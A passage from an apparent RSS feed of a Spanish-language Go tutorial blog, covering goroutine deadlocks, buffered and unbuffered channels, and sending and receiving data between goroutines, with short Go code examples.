style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;forty two&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel) &lt;span style=&#34;color:#78787e&#34;&gt;// Esto debería de estar en otra goroutine&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En los tres casos anteriores el programa se quedaría esperando y, como ya sabes, &lt;strong&gt;no tiene sentido mantener el programa esperando por algo que jamás sucederá&lt;/strong&gt;, por lo que la ejecución se corta y se genera el error fatal: &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;A la situación anterior se le conoce como un deadlock o punto muerto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;deadlocks-o-puntos-muertos&#34;&gt;Deadlocks o puntos muertos&lt;/h2&gt;&#xA;&lt;p&gt;En un deadlock hay una goroutine que está esperando leer o escribir en un canal, sin embargo ya no hay ninguna goroutine ejecutándose pues están esperándose las unas a las otras; están en un punto muerto del que no se puede avanzar.&lt;/p&gt;&#xA;&lt;h3 id=&#34;prevenir-deadlocks-en-go-con-goroutines&#34;&gt;Prevenir deadlocks en go con goroutines&lt;/h3&gt;&#xA;&lt;p&gt;En la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;introducción a los channels o canales en go&lt;/a&gt;&#xA;, te dije que la capacidad por defecto de un canal es de 0, esto provoca que no podamos almacenar datos en los canales de manera predeterminada. Si intentamos almacenar un dato en un canal, obtendremos un error por parte del compilador, pues ya no existe otra goroutine que reciba el valor de manera inmediata.&lt;/p&gt;&#xA;&lt;p&gt;Para prevenir un deadlock, podemos usar inmediatamente el dato del canal creando una goroutine que use el valor del canal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;(channel &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }(channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// No ocurre el error de deadlock&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En este caso he creado una goroutine con una función anónima que se encarga de leer del canal.&lt;/p&gt;&#xA;&lt;h3 id=&#34;prevenir-deadlocks-en-go-con-buffered-channels&#34;&gt;Prevenir deadlocks en go con buffered channels&lt;/h3&gt;&#xA;&lt;p&gt;Si un canal no tiene buffer, el valor queda &amp;ldquo;retenido&amp;rdquo; hasta que se reciba, bloqueando la ejecución mientras sucede, ocasionando el deadlock o punto muerto si nadie lo recibe.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, si el canal tiene buffer, entonces la ejecución se bloquea hasta que el valor se haya copiado al buffer, por lo que no obtendremos un error, incluso si ninguna goroutine lo recibe.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlocks-prevencion-go-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlocks-prevencion-go-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de la prevención de deadlocks en go&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;En un canal con buffer no importa si el valor no se lee pues ya ha sido copiado al buffer&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    channel &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;42&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;channel)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Finished&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// No ocurre el error de deadlock&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recursos-sobre-deadlocks-en-go&#34;&gt;Recursos sobre deadlocks en go&lt;/h2&gt;&#xA;&lt;p&gt;Para concluir el artículo, te comparto algunos recursos interesantes que hablan de los deadlocks o puntos muertos.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://gist.github.com/YumaInaura/8d52e73dac7dc361745bf568c3c4ba37&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Golang — Understanding channel, buffer, blocking, deadlock and happy groutines&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://stackoverflow.com/questions/61759204/why-a-go-routine-block-on-channel-is-considered-as-deadlock&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Why a go-routine block on channel is considered as deadlock?&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/doc/effective_go#channels&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Effective Go, channels&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Cuando trabajamos con channels hay un error bastante común que ocurre cuando no se está familiarizado con los conceptos, el error es &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo;, traducido significa algo como &amp;ldquo;error fatal: todas las goroutines están dormidas - en un punto muerto&amp;rdquo;. La primera vez que vi este error me confundió mucho y, aunque sabía como solucionarlo, no entendía porque sucedía, así que en esta entrada te explico porque sucede como me hubiera gustado haberlo leído en su momento.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: uso de channels o canales para comunicar goroutinas</title>
      <link>https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/</link>
      <pubDate>Sat, 22 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hasta ahora te he explicado como ejecutar una goroutine, ejecutar código de manera concurrente con las goroutines y a esperar a que terminen de ejecutarse pero nuestras goroutines no pueden hacer nada más, no pueden cooperar entre ellas para acelerar los procesos.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que tienes un web scrapper que obtiene datos de internet de manera concurrente; obtenemos los datos con goroutines y los procesamos con goroutines. ¿tenemos que esperar a que terminen todas las goroutines para usarlos? Lo ideal sería que las goroutines se comunicaran entre ellas los datos y continuaran con el proceso.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;comunicando-goroutines-con-channels&#34;&gt;Comunicando goroutines con channels&lt;/h2&gt;&#xA;&lt;p&gt;Los channels o canales son &amp;ldquo;conductos&amp;rdquo;, que aceptan un único tipo de dato. A través de estos canales &amp;ldquo;introducimos&amp;rdquo; información que, posteriormente, podremos &amp;ldquo;sacar&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Las goroutines pueden enviar datos a los canales y también leer datos de ellos, logrando comunicarse entre si.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/images/channels-en-go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/images/channels-en-go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema del funcionamiento de un channel en go&#34; width=&#34;1200&#34; height=&#34;800&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esquema básico del funcionamiento de los channels o canales en Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Un channel o canal en go se declara con &lt;em&gt;make&lt;/em&gt; y la palabra &lt;em&gt;chan&lt;/em&gt;, que hace referencia a la palabra channel.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Los channels son usados para comunicar goroutines, como en el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/&#34;&gt;patrón de diseño worker pool&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;channels-o-canales-con-buffer&#34;&gt;Channels o canales con buffer&lt;/h3&gt;&#xA;&lt;p&gt;La función &lt;em&gt;make&lt;/em&gt; permite pasarle como un argumento extra la cantidad límite de datos simultaneos que manejará ese canal. &lt;strong&gt;A esto se le conoce como un canal con buffer o buffered channel.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;channels-o-canales-unbuffered&#34;&gt;Channels o canales unbuffered&lt;/h3&gt;&#xA;&lt;p&gt;Si no especificamos un tamaño de buffer el canal:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bloqueará al remitente hasta que el destinatario esté listo para recibir la información&lt;/li&gt;&#xA;&lt;li&gt;Bloqueará al destinatario hasta que el remitente esté listo para enviar la información&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;O visto de otra forma, si intentas enviar información a un canal sin buffer, la operación se bloqueará  hasta que la información sea recibida. Si intentas recibir información esta se bloqueará hasta que la información sea mandada.&lt;/p&gt;&#xA;&lt;p&gt;Estos canales son útiles cuando quieres garantizar que el remitente y el destinatario estén sincronizados y que la información se transmite inmediatamente, pero pueden ocasionar bloqueos si el remitente y el destinatario no están sincronizados.&lt;/p&gt;&#xA;&lt;h3 id=&#34;acceder-a-un-channel-en-una-funcion&#34;&gt;Acceder a un channel en una función&lt;/h3&gt;&#xA;&lt;p&gt;Cuando querramos hacer referencia al canal como argumento de una función, es necesario indicar el tipo de dato del canal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El tipo de dato de un canal también puede ser uno definido usando un &lt;em&gt;struct&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; MiStruct) {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;meter-datos-en-un-channel&#34;&gt;Meter datos en un channel&lt;/h3&gt;&#xA;&lt;p&gt;Para indicar la entrada de datos a través del channel usamos el binomio de caracteres &amp;lt;-&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;say&lt;/span&gt;(text &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; text&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sacar-datos-de-un-channel&#34;&gt;Sacar datos de un channel&lt;/h3&gt;&#xA;&lt;p&gt;Para obtener la respuesta del canal invertimos el orden entre el canal y el símbolo &amp;lt;-&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;meter-y-sacar-datos-de-un-channel-en-go&#34;&gt;Meter y sacar datos de un channel en go&lt;/h3&gt;&#xA;&lt;p&gt;El proceso completo de introducir y extraer datos de un channel en go se vería algo así:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creamos un canal de un tipo de dato usando make&lt;/li&gt;&#xA;&lt;li&gt;Introducimos un dato (en este caso &lt;em&gt;string&lt;/em&gt;) al canal usando una&#xA;goroutine&lt;/li&gt;&#xA;&lt;li&gt;Extraemos el texto del canal y le damos uso (en este caso solo lo imprimimos)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;escribirEnCanal&lt;/span&gt;(texto &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;, c &lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; texto&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;escribirEnCanal&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Dato de un canal&amp;#34;&lt;/span&gt;, c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          